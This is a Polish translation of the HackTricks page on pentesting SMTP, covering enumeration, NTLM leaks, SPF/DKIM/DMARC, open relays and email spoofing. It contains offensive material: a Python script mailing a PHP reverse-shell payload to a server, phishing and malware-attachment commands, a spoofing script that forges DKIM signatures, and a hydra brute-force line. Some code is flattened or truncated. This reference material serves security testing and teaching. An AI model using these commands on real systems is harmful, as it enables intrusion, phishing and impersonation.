25,465,587 - Pentesting SMTP/s

Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLANY SUBSKRYPCYJNE!
Zdobądź oficjalne gadżety PEASS & HackTricks
Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do HackTricks i HackTricks Cloud na GitHubie.

Natychmiastowa konfiguracja do oceny podatności i testowania penetracyjnego. Uruchom pełne testowanie penetracyjne z dowolnego miejsca za pomocą ponad 20 narzędzi i funkcji, które obejmują od rozpoznania po raportowanie. Nie zastępujemy testerów penetracyjnych - rozwijamy niestandardowe narzędzia, moduły wykrywania i eksploatacji, aby umożliwić im zagłębienie się głębiej, zdobycie powłok i dobrą zabawę.

Pentest-Tools.com | 25+ Online Penetration Testing ToolsPentest-Tools.com

Podstawowe informacje

Protokół Simple Mail Transfer Protocol (SMTP) jest protokołem wykorzystywanym w pakiecie TCP/IP do wysyłania i odbierania e-maili. Ze względu na ograniczenia w kolejkowaniu wiadomości po stronie odbiorcy, SMTP jest często używany w połączeniu z POP3 lub IMAP. Te dodatkowe protokoły umożliwiają użytkownikom przechowywanie wiadomości w skrzynce pocztowej na serwerze i okresowe pobieranie ich.

W praktyce jest powszechne, że programy pocztowe używają SMTP do wysyłania e-maili, a do odbierania korzystają z POP3 lub IMAP. W systemach opartych na Unixie, serwer SMTP najczęściej używany do celów e-mailowych to sendmail. Komercyjny pakiet znany jako Sendmail obejmuje serwer POP3. Ponadto, Microsoft Exchange dostarcza serwer SMTP i oferuje opcję dodania obsługi POP3.

Domyślny port: 25,465(ssl),587(ssl)

PORT   STATE SERVICE REASON  VERSION
25/tcp open  smtp    syn-ack Microsoft ESMTP 6.0.3790.3959

Nagłówki EMAIL

Jeśli masz okazję sprawić, aby ofiara wysłała Ci e-mail (na przykład za pośrednictwem formularza kontaktowego na stronie internetowej), zrób to, ponieważ możesz dowiedzieć się o wewnętrznej topologii ofiary, przeglądając nagłówki maila.

Możesz również otrzymać e-mail od serwera SMTP, próbując wysłać na ten serwer e-mail do nieistniejącego adresu (ponieważ serwer wyśle atakującemu e-mail NDN). Upewnij się jednak, że wysyłasz e-mail z dozwolonego adresu (sprawdź politykę SPF) i że możesz odbierać wiadomości NDN.

Powinieneś także spróbować wysłać różne treści, ponieważ możesz znaleźć bardziej interesujące informacje w nagłówkach, takie jak: X-Virus-Scanned: by av.domain.com Powinieneś wysłać plik testowy EICAR. Wykrycie AV może umożliwić Ci wykorzystanie znanych podatności.

Podstawowe działania

Pobieranie banera/Podstawowe połączenie

SMTP:

nc -vn <IP> 25

SMTPS:

openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command
openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587

Znajdowanie serwerów MX organizacji

dig +short mx google.com

Wyliczanie

nmap -p25 --script smtp-commands 10.10.10.10
nmap -p25 --script smtp-open-relay 10.10.10.10 -v

NTLM Auth - Ujawnienie informacji

Jeśli serwer obsługuje uwierzytelnianie NTLM (Windows), można uzyskać poufne informacje (wersje). Więcej informacji tutaj.

root@kali: telnet example.com 587
220 example.com SMTP Server Banner
>> HELO
250 example.com Hello [x.x.x.x]
>> AUTH NTLM 334
NTLM supported
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA

lub zautomatyzuj to za pomocą wtyczki nmap smtp-ntlm-info.nse

Nazwa wewnętrznego serwera - Ujawnienie informacji

Niektóre serwery SMTP automatycznie uzupełniają adres nadawcy, gdy wydane zostanie polecenie "MAIL FROM" bez pełnego adresu, ujawniając swoją wewnętrzną nazwę:

220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at  Wed, 15 Sep 2021 12:13:28 +0200
EHLO all
250-somedomain.com Hello [x.x.x.x]
250-TURN
250-SIZE 52428800
250-ETRN
250-PIPELINING
250-DSN
250-ENHANCEDSTATUSCODES
250-8bitmime
250-BINARYMIME
250-CHUNKING
250-VRFY
250 OK
MAIL FROM: me
250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK

Podsłuchiwanie

Sprawdź, czy podsłuchujesz jakieś hasło z pakietów do portu 25

Atak siłowy na uwierzytelnianie

Wymuszanie nazwy użytkownika

Uwierzytelnienie nie zawsze jest wymagane

RCPT TO

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
MAIL FROM:example@domain.com
250 2.1.0 example@domain.com... Sender ok
RCPT TO:test
550 5.1.1 test... User unknown
RCPT TO:admin
550 5.1.1 admin... User unknown
RCPT TO:ed
250 2.1.5 ed... Recipient ok

VRFY

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
VRFY root
250 Super-User root@myhost
VRFY blah
550 blah... User unknown

EXPN

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
EXPN test
550 5.1.1 test... User unknown
EXPN root
250 2.1.5 ed.williams@myhost
EXPN sshd
250 2.1.5 sshd privsep sshd@myhost

Automatyczne narzędzia

Metasploit: auxiliary/scanner/smtp/smtp_enum
smtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP>
Nmap: nmap --script smtp-enum-users <IP>

Natychmiastowa dostępność konfiguracji do oceny podatności i testów penetracyjnych. Uruchom pełne testy penetracyjne z dowolnego miejsca za pomocą ponad 20 narzędzi i funkcji, które obejmują działania od rozpoznania po raportowanie. Nie zastępujemy testerów penetracyjnych - opracowujemy niestandardowe narzędzia, moduły wykrywania i eksploatacji, aby umożliwić im zagłębienie się głębiej, przejęcie kontroli i dobrą zabawę.

Pentest-Tools.com | 25+ Online Penetration Testing ToolsPentest-Tools.com

Raporty DSN

Raporty powiadomień o stanie dostarczenia: Jeśli wyślesz e-mail do organizacji na nieprawidłowy adres, organizacja powiadomi, że adres jest nieprawidłowy, wysyłając do ciebie e-mail z powrotem. Nagłówki zwróconego e-maila mogą zawierać możliwe informacje poufne (takie jak adres IP usług pocztowych, które współdziałały z raportami lub informacje o oprogramowaniu antywirusowym).

Komendy

Wysyłanie e-maila z konsoli Linux

sendEmail -t to@domain.com -f from@attacker.com -s <ip smtp> -u "Important subject" -a /tmp/malware.pdf
Reading message body from STDIN because the '-m' option was not used.
If you are manually typing in a message:
- First line must be received within 60 seconds.
- End manual input with a CTRL-D on its own line.

<phishing message>

swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197

Wysyłanie e-maila za pomocą Pythona

Kod Pythona tutaj

```python from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText import smtplib import sys

lhost = "127.0.0.1" lport = 443 rhost = "192.168.1.1" rport = 25 # 489,587

create message object instance

msg = MIMEMultipart()

setup the parameters of the message

password = "" msg['From'] = "attacker@local" msg['To'] = "victim@local" msg['Subject'] = "This is not a drill!"

payload

message = ("& /dev/tcp/%s/%d 0>&1'); ?>" % (lhost,lport))

print("[*] Payload is generated : %s" % message)

msg.attach(MIMEText(message, 'plain')) server = smtplib.SMTP(host=rhost,port=rport)

if server.noop()[0] != 250: print("[-]Connection Error") exit()

server.starttls()

Uncomment if log-in with authencation

server.sendmail(msg['From'], msg['To'], msg.as_string()) server.quit()

print("[***]successfully sent email to %s:" % (msg['To']))

</details>

## Atak na protokół SMTP

Podatność na atak SMTP Smuggling pozwala ominąć wszystkie zabezpieczenia SMTP (sprawdź następną sekcję, aby uzyskać więcej informacji na temat zabezpieczeń). Aby uzyskać więcej informacji na temat ataku SMTP Smuggling, sprawdź:

<div data-gb-custom-block data-tag="content-ref" data-url='smtp-smuggling.md'>

[smtp-smuggling.md](smtp-smuggling.md)

</div>

## Przeciwdziałanie podszywaniu się pod adres e-mail

Organizacje są chronione przed nieautoryzowanym wysyłaniem e-maili w ich imieniu poprzez zastosowanie **SPF**, **DKIM** i **DMARC** ze względu na łatwość podszywania się pod wiadomości SMTP.

**Pełny przewodnik dotyczący tych środków zaradczych** jest dostępny pod adresem [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/).

### SPF

<div data-gb-custom-block data-tag="hint" data-style='danger'>

SPF [zostało "przestarzałe" w 2014 roku](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Oznacza to, że zamiast tworzyć rekord **TXT** w `_spf.domain.com`, należy go utworzyć w `domain.com` przy użyciu **tej samej składni**.\
Co więcej, aby ponownie wykorzystać poprzednie rekordy SPF, często można znaleźć coś w rodzaju `"v=spf1 include:_spf.google.com ~all"`

</div>

**Sender Policy Framework** (SPF) to mechanizm, który umożliwia agentom przesyłającym pocztę (MTA) zweryfikowanie, czy host wysyłający e-mail jest autoryzowany poprzez zapytanie listy autoryzowanych serwerów pocztowych zdefiniowanych przez organizacje. Ta lista, która określa adresy IP/zakresy, domeny i inne jednostki **upoważnione do wysyłania e-maili w imieniu nazwy domeny**, zawiera różne "**Mechanizmy**" w rekordzie SPF.

#### Mechanizmy

Z [Wikipedii](https://en.wikipedia.org/wiki/Sender\_Policy\_Framework):

| Mechanizm | Opis                                                                                                                                                                                                                                                                                                                         |
| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| ALL       | Zawsze pasuje; używane dla domyślnego wyniku, np. `-all` dla wszystkich adresów IP, które nie pasują do poprzednich mechanizmów.                                                                                                                                                                                                                                  |
| A         | Jeśli nazwa domeny ma rekord adresowy (A lub AAAA), który można przyporządkować do adresu nadawcy, to pasuje.                                                                                                                                                                                                                   |
| IP4       | Jeśli nadawca znajduje się w określonym zakresie adresów IPv4, pasuje.                                                                                                                                                                                                                                                                              |
| IP6       | Jeśli nadawca znajduje się w określonym zakresie adresów IPv6, pasuje.                                                                                                                                                                                                                                                                              |
| MX        | Jeśli nazwa domeny ma rekord MX rozwiązujący się do adresu nadawcy, to pasuje (czyli poczta pochodzi od jednego z serwerów poczty przychodzącej domeny).                                                                                                                                                                          |
| PTR       | Jeśli nazwa domeny (rekord PTR) dla adresu klienta znajduje się w danej domenie i ta nazwa domeny rozwiązuje się do adresu klienta (przekierowane potwierdzenie odwrotne DNS), pasuje. Ten mechanizm jest odradzany i należy go unikać, jeśli to możliwe.                                                                                     |
| EXISTS    | Jeśli podana nazwa domeny rozwiązuje się do jakiegokolwiek adresu, pasuje (bez znaczenia, jaki adres się rozwiązuje). Jest to rzadko używane. W połączeniu z językiem makr SPF oferuje bardziej złożone dopasowania, takie jak zapytania DNSBL.                                                                                                                           |
| INCLUDE   | Odwołuje się do polityki innej domeny. Jeśli polityka tej domeny przechodzi, to przechodzi ten mechanizm. Jednak jeśli polityka dołączonej domeny zawiedzie, przetwarzanie będzie kontynuowane. Aby w pełni przekazać politykę innej domeny, należy użyć rozszerzenia przekierowania.                                                                                     |
| REDIRECT  | <p>Przekierowanie to wskaźnik na inną nazwę domeny, która hostuje politykę SPF, umożliwiając wielu domenom współdzielenie tej samej polityki SPF. Jest to przydatne przy pracy z dużą liczbą domen, które współdzielą tę samą infrastrukturę e-mailową.</p><p>Polityka SPF wskazanej w mechanizmie przekierowania będzie używana.</p> |

Możliwe jest również zidentyfikowanie **Kwalifikatorów**, które wskazują **co należy zrobić, jeśli mechanizm zostanie dopasowany**. Domyślnie używany jest **kwalifikator "+"** (więc jeśli którykolwiek mechanizm zostanie dopasowany, oznacza to, że jest dozwolony).\
Zazwyczaj zauważysz **na końcu każdej polityki SPF** coś w rodzaju: **\~all** lub **-all**. Służy to do wskazania, że **jeśli nadawca nie pasuje do żadnej polityki SPF, należy oznaczyć e-mail jako niezaufany (\~) lub odrzucić (-) e-mail.**

#### Kwalifikatory

Każdy mechanizm w polityce może być poprzedzony jednym z czterech kwalifikatorów, aby zdefiniować zamierzony wynik:

* **`+`**: Odpowiada wynikowi PASS. Domyślnie mechanizmy zakładają ten kwalifikator, co czyni `+mx` równoważnym z `mx`.
* **`?`**: Oznacza wynik NEUTRAL, traktowany podobnie jak NONE (brak konkretnej polityki).
* **`~`**: Oznacza SOFTFAIL, stanowiąc złoty środek między NEUTRAL a FAIL. E-maile spełniające ten wynik są zazwyczaj akceptowane, ale oznaczone odpowiednio.
* **`-`**: Oznacza FAIL, sugerując, że e-mail powinien być całkowicie odrzucony.

W nadchodzącym przykładzie przedstawiona jest **polityka SPF dla google.com**. Zauważ włączenie polityk SPF z różnych domen w ramach pierwszej polityki SPF:
```shell-session
dig txt google.com | grep spf
google.com.             235     IN      TXT     "v=spf1 include:_spf.google.com ~all"

dig txt _spf.google.com | grep spf
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
;_spf.google.com.               IN      TXT
_spf.google.com.        235     IN      TXT     "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"

dig txt _netblocks.google.com | grep spf
_netblocks.google.com.  1606    IN      TXT     "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"

dig txt _netblocks2.google.com | grep spf
_netblocks2.google.com. 1908    IN      TXT     "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"

dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903    IN      TXT     "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"

Tradycyjnie było możliwe podrobienie dowolnej nazwy domeny, która nie miała poprawnego/żadnego rekordu SPF. Obecnie, jeśli e-mail pochodzi z domeny bez poprawnego rekordu SPF, prawdopodobnie zostanie odrzucony/oznaczony jako niezaufany automatycznie.

Aby sprawdzić SPF domeny, można skorzystać z narzędzi online, takich jak: https://www.kitterman.com/spf/validate.html

DKIM (DomainKeys Identified Mail)

DKIM jest wykorzystywany do podpisywania wychodzących e-maili, umożliwiając ich walidację przez zewnętrzne agenty transferu poczty (MTA) poprzez pobranie klucza publicznego domeny z DNS. Ten klucz publiczny znajduje się w rekordzie TXT domeny. Aby uzyskać dostęp do tego klucza, trzeba znać zarówno selektor, jak i nazwę domeny.

Na przykład, aby poprosić o klucz, istotne są nazwa domeny i selektor. Można je znaleźć w nagłówku e-maila DKIM-Signature, np. d=gmail.com;s=20120113.

Polecenie do pobrania tych informacji może wyglądać tak:

dig 20120113._domainkey.gmail.com TXT | grep p=
# This command would return something like:
20120113._domainkey.gmail.com. 280 IN   TXT    "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3

DMARC (Domain-based Message Authentication, Reporting & Conformance)

DMARC poprawia bezpieczeństwo e-maili, opierając się na protokołach SPF i DKIM. Określa zasady, które kierują serwerami poczty w obsłudze e-maili z określonej domeny, w tym sposób postępowania w przypadku niepowodzeń uwierzytelniania i miejsce wysyłania raportów o działaniach związanych z przetwarzaniem e-maili.

Aby uzyskać rekord DMARC, należy zapytać o poddomenę _dmarc

# Reject
dig _dmarc.facebook.com txt | grep DMARC
_dmarc.facebook.com.	3600	IN	TXT	"v=DMARC1; p=reject; rua=mailto:a@dmarc.facebookmail.com; ruf=mailto:fb-dmarc@datafeeds.phishlabs.com; pct=100"

# Quarantine
dig _dmarc.google.com txt | grep DMARC
_dmarc.google.com.	300	IN	TXT	"v=DMARC1; p=quarantine; rua=mailto:mailauth-reports@google.com"

# None
dig _dmarc.bing.com txt | grep DMARC
_dmarc.bing.com.	3600	IN	TXT	"v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;"

Tagi DMARC

Co z Subdomenami?

Z tutaj. Musisz mieć osobne rekordy SPF dla każdej subdomeny, z której chcesz wysyłać wiadomości e-mail. Poniższy tekst pierwotnie został opublikowany na stronie openspf.org, która kiedyś była świetnym źródłem informacji na ten temat.

Pytanie o Demona: Co z subdomenami?

Jeśli otrzymuję e-mail z pielovers.demon.co.uk, a nie ma danych SPF dla pielovers, czy powinienem wrócić o jeden poziom i sprawdzić SPF dla demon.co.uk? Nie. Każda subdomena w Demonie to inny klient, a każdy klient może mieć swoją własną politykę. Nie miałoby sensu, aby polityka Demona automatycznie dotyczyła wszystkich jego klientów; jeśli Demon chce tego dokonać, może skonfigurować rekordy SPF dla każdej subdomeny.

Dlatego zalecenie dla wydawców SPF jest takie: powinieneś dodać rekord SPF dla każdej subdomeny lub nazwy hosta, która ma rekord A lub MX.

Strony z rekordami wildcard A lub MX powinny również mieć rekord SPF wildcard, w postaci: * IN TXT "v=spf1 -all"

To ma sens - subdomena może być w zupełnie innym miejscu geograficznym i mieć zupełnie inną definicję SPF.

Otwarty Relay

Podczas wysyłania e-maili ważne jest zapewnienie, że nie zostaną one oznaczone jako spam. Często osiąga się to poprzez użycie serwera przekazywania, który jest zaufany przez odbiorcę. Jednak częstym wyzwaniem jest to, że administratorzy mogą nie być w pełni świadomi, które zakresy IP są bezpieczne do zezwolenia. Brak zrozumienia może prowadzić do błędów w konfiguracji serwera SMTP, ryzyko często zidentyfikowane w ocenach bezpieczeństwa.

Rozwiązaniem, które niektórzy administratorzy stosują, aby uniknąć problemów z dostarczaniem e-maili, zwłaszcza dotyczących komunikacji z potencjalnymi lub obecnymi klientami, jest zezwolenie na połączenia z dowolnego adresu IP. Dokonuje się tego poprzez skonfigurowanie parametru mynetworks serwera SMTP tak, aby akceptował wszystkie adresy IP, jak pokazano poniżej:

mynetworks = 0.0.0.0/0

Aby sprawdzić, czy serwer poczty jest otwartym przekaźnikiem (co oznacza, że może przekazywać e-maile z dowolnego źródła zewnętrznego), powszechnie używane jest narzędzie nmap. Zawiera ono specjalny skrypt przeznaczony do przetestowania tego. Polecenie wykonania szczegółowego skanu na serwerze (na przykład z adresem IP 10.10.10.10) na porcie 25 przy użyciu nmap to:

nmap -p25 --script smtp-open-relay 10.10.10.10 -v

Narzędzia

https://github.com/serain/mailspoof Sprawdź błędy konfiguracji SPF i DMARC
https://pypi.org/project/checkdmarc/ Automatycznie pobierz konfiguracje SPF i DMARC

Wyślij Fałszywy Email

Lub możesz skorzystać z narzędzia:

https://github.com/magichk/magicspoofing

# This will send a test email from test@victim.com to destination@gmail.com
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
# But you can also modify more options of the email
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com

Jeśli otrzymasz jakikolwiek błąd przy użyciu biblioteki dkim python podczas parsowania klucza, śmiało skorzystaj z tego poniższego. UWAGA: To tylko prowizoryczne rozwiązanie umożliwiające szybkie sprawdzenie w przypadkach, gdy z jakiegoś powodu klucz prywatny openssl nie może być sparsowany przez dkim.

Możesz również to zrobić ręcznie:

# To wyśle wiadomość bez podpisumail("twoj_email@gmail.com", "Temat testowy!", "Cześć! To jest test", "Od: administrator@ofiara.com");# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.pyimport osimport dkim #pip3 install dkimpyimport smtplibfrom email.mime.multipart import MIMEMultipartfrom email.mime.text import MIMETextfrom email.mime.base import MIMEBase# Set paramsdestination="destination@gmail.com"sender="administrator@victim.com"subject="Test"message_html="""<html><body><h3>This is a test, not a scam</h3><br /></body></html>"""sender_domain=sender.split("@")[1]# Prepare postfixos.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf")os.system("systemctl restart postfix")# Generate DKIM keysdkim_private_key_path="dkimprivatekey.pem"os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null")with open(dkim_private_key_path) as fh:dkim_private_key = fh.read()# Generate emailmsg = MIMEMultipart("alternative")msg.attach(MIMEText(message_html, "html"))msg["To"] = destinationmsg["From"] = sendermsg["Subject"] = subjectheaders = [b"To", b"From", b"Subject"]msg_data = msg.as_bytes()# Sign email with dkim## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted)dkim_selector="s1"sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers)msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode()msg_data = msg.as_bytes()# Use local postfix relay to send emailsmtp="127.0.0.1"s = smtplib.SMTP(smtp)s.sendmail(sender, [destination], msg_data)

Więcej informacji

Znajdź więcej informacji na temat tych zabezpieczeń w https://seanthegeek.net/459/demystifying-dmarc/

Inne wskaźniki phishingu

Wiek domeny
Linki wskazujące na adresy IP
Techniki manipulacji linkami
Podejrzane (nietypowe) załączniki
Uszkodzona zawartość e-maila
Użycie wartości różnych od tych w nagłówkach e-maila
Istnienie ważnego i zaufanego certyfikatu SSL
Przesłanie strony do stron filtrowania treści internetowych

Wyciek danych przez SMTP

Jeśli możesz wysyłać dane za pomocą SMTP przeczytaj to.

Plik konfiguracyjny

Postfix

Zazwyczaj, jeśli zainstalowany, w /etc/postfix/master.cf zawiera skrypty do wykonania gdy na przykład nowy e-mail zostanie odebrany przez użytkownika. Na przykład linia flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient} oznacza, że /etc/postfix/filtering zostanie wykonany, jeśli nowy e-mail zostanie odebrany przez użytkownika mark.

Inne pliki konfiguracyjne:

sendmail.cf
submit.cf

Odnośniki

Protocol_Name: SMTP    #Protocol Abbreviation if there is one.
Port_Number:  25,465,587     #Comma separated if there is more than one.
Protocol_Description: Simple Mail Transfer Protocol          #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for SMTP
Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.

https://book.hacktricks.xyz/pentesting/pentesting-smtp

Entry_2:
Name: Banner Grab
Description: Grab SMTP Banner
Command: nc -vn {IP} 25

Entry_3:
Name: SMTP Vuln Scan
Description: SMTP Vuln Scan With Nmap
Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP}

Entry_4:
Name: SMTP User Enum
Description: Enumerate uses with smtp-user-enum
Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP}

Entry_5:
Name: SMTPS Connect
Description: Attempt to connect to SMTPS two different ways
Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587

Entry_6:
Name: Find MX Servers
Description: Find MX servers of an organization
Command: dig +short mx {Domain_Name}

Entry_7:
Name: Hydra Brute Force
Description: Need Nothing
Command: hydra -P {Big_Passwordlist} {IP} smtp -V

Entry_8:
Name: consolesless mfs enumeration
Description: SMTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'

Natychmiastowe dostępne środowisko do oceny podatności i testów penetracyjnych. Uruchom pełny test penetracyjny z dowolnego miejsca za pomocą ponad 20 narzędzi i funkcji, które obejmują działania od rozpoznania po raportowanie. Nie zastępujemy pentesterów - tworzymy niestandardowe narzędzia, moduły wykrywania i eksploatacji, aby umożliwić im zagłębienie się głębiej, zdobycie powłok i dobrą zabawę.

Previous23 - Pentesting Telnet NextSMTP Smuggling

Last updated 16 hours ago

Podstawowe informacje

Nagłówki EMAIL

Podstawowe działania

Pobieranie banera/Podstawowe połączenie

Znajdowanie serwerów MX organizacji

Wyliczanie

NTLM Auth - Ujawnienie informacji

Nazwa wewnętrznego serwera - Ujawnienie informacji

Podsłuchiwanie

Atak siłowy na uwierzytelnianie

Wymuszanie nazwy użytkownika

RCPT TO

VRFY

EXPN

EXPN

Automatyczne narzędzia

Raporty DSN

Komendy

Wysyłanie e-maila z konsoli Linux

Wysyłanie e-maila za pomocą Pythona

create message object instance

setup the parameters of the message

payload

Uncomment if log-in with authencation

server.login(msg['From'], password)

DKIM (DomainKeys Identified Mail)

DMARC (Domain-based Message Authentication, Reporting & Conformance)

Co z Subdomenami?

Otwarty Relay

Narzędzia

Wyślij Fałszywy Email

Więcej informacji

Inne wskaźniki phishingu

Wyciek danych przez SMTP

Plik konfiguracyjny

Postfix

Odnośniki